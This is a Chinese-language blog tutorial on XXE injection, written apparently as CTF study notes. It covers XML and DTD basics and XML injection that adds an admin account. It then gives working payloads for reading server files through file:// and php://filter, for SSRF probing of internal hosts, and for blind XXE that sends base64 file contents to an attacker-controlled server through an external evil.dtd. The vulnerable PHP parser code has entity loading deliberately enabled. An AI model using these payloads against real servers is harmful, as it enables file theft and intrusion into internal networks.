Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

xxe漏洞学习

之前在做node.js 的题目的时候发现很多node.js的题目都是和xxe的结合起来,所以这里决定先来看一下xxe的知识点

XXE:全称为XML Enternal Entity Injection,中文名称:XML外部实体注入

既然是XML的漏洞,我们就先来看XML的基础知识点

XML基础

声明文档

1
<?xml version="1.0" encoding="UTF-8"?>
  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。

XML标签必须成对出现,有开始标签就需要有结束标签,这里以举例

  • 开始标签:****
  • 结束标签:****

我们前面说到XML 和 HTML 极度相似,但两者还是存在本质的区别的

  • XML 被设计用来传输和存储数据,其焦点是数据的内容
  • HTML 被设计用来显示数据,其焦点是数据的外观

HTML 旨在显示信息,而 XML 旨在传输信息

XML的基本格式是一种树结构,它从”根部”开始,然后扩展到”枝叶”

1
2
3
4
5
<root>
<child>
<subchild>.....</subchild>
</child>
</root>

XML 必须包含根元素,它是所有其他元素的父元素,上述root 就是根元素

同样的,由于其和HTML语言的高度相似性,XML的元素也可以拥有属性,属性提供有关元素的附加信息,属性值必须加引号

1
<person age="30" gender="male">.....</person>

XML的元素和属性的作用相似,都是用于提供元素的信息

但属性存在一定的劣势:

  • 属性不能包含多个值(元素可以)
  • 属性不能包含树结构(元素可以)
  • 属性不容易扩展(为未来的变化)

因此,一般的设计逻辑是,元数据(有关数据的数据)应当存储为属性,而数据本身应当存储为元素

当元素命名发生冲突时,可以利用前缀进行规避

1
2
<h:table>
<f:table>

通过加入前缀设置命名空间,当命名空间被定义在元素的开始标签中时,所有带有相同前缀的子元素都会与同一个命名空间相关联

合法的 XML 文档是”形式良好”的 XML 文档,这也符合文档类型定义(DTD)的规则

1
<!DOCTYPE note SYSTEM "Note.dtd">

DOCTYPE 声明是对外部 DTD 文件的引用

DTD 的目的是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构

1
2
3
4
5
6
7
8
<!DOCTYPE note
[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

PCDATA类型

PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
被解析的字符数据不应当包含任何&<,或者>字符,需要用& < >实体来分别替换

CDATA类型
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开

XML的知识点就那么多,感觉挺简单的,那么,我们回到XXE漏洞上

XXE漏洞

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件

也就是说,我们可以利用DTD来进行外部引用

所以这里再重新来看一下DTD

内部声明DTD

1
<!DOCTYPE 根元素名称 [元素声明]>

引用外部DTD

1
2
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

PHP引用外部实体常见的利用协议

1
2
3
file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量
实体引用是对实体的引用
实体可在内部或外部进行声明

按实体有无参分类,实体分为一般实体和参数实体
一般实体的声明<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;

参数实体的声明<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;

内部实体声明

1
2
3
4
5
DTD:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright example.com">
xml:
<author>&writer;&copyright;</author>

外部实体声明

1
2
3
DTD:
<!ENTITY writer SYSTEM "http://www.example.com/example.dtd">
<!ENTITY copyright SYSTEM "http://www.example.com/example.dtd">

XML注入

通过利用闭合标签改写XML文件实现XML注入

XML注入前提条件

(1)用户能够控制数据的输入
(2)程序有拼凑的数据

1
2
3
4
5
6
7
8
9
10
11
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>

</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>

root可以被控制时,构造root

1
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

则原有XML被修改为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<manager>
<admin id="1">
<name>admin</name>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>

也就是我们实现了添加一个为hacker的管理员账户,简单来说,只要我们需要知道XML表的结构,去实现标签的闭合,我们构造输入语句,就可以实现注入

XML外部实体注入(XXE)

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件

主要函数

simplexml_load_string() 可以用来读取XML

1
2
3
4
5
6
7
8
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE crdes [ <!ENTITY xxe SYSTEM "file:///c:/windows/system.ini"> ]>
<crdes>&xxe;</crdes>

599

很明显可以看到我们读取到了system.ini的内容

这里对代码稍微做个解释

  • file_get_contents获取客户端输入内容
  • new DOMDocument()初始化XML解析器
  • loadXML($xmlfile)加载客户端输入的XML内容
  • simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。
  • 获取SimpleXMLElement对象中的节点XXE,然后输出XXE内容

XXE常见利用方式

读取任意文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

payload

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///D:/1.txt">
]>
<user>
<username>&file;</username>
<password>hack</password>
</user>

600

当然,也可以使用php://filter协议进行读取

有回显还是算比较简单的,我们修改源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
//echo $result
?>

无回显后,,可以通过Blind XXE方法加上外带数据通道来提取数据,先使用php://filter协议获取目标文件的内容,然后将内容以http请求发送到攻击服务器来读取数据,原理感觉跟反弹shell类似

payload

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/qwzf.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd

1
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.201.128/?content=%file;'>"> %payload;

整体逻辑就是

  • 先调用%dtd,请求远程服务器(攻击服务器)上的evil.dtd
  • 再调用 evil.dtd中的 %file%file 获取受攻击的服务器上面的敏感文件,然后将 %file 的返回结果传到%send
  • 然后调用 %send; 把读取到的数据发送到远程服务器上
SSRF
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

127.0.0.1可以替换成任意的内网地址,可以借此实现对内网的探测

从XML相关一步一步到XXE漏洞

对于waf的绕过,这里贴个大佬的帖子CTF XXE,简单看了眼,基本就是对利用各种协议和编码进行绕过关键词的waf

评论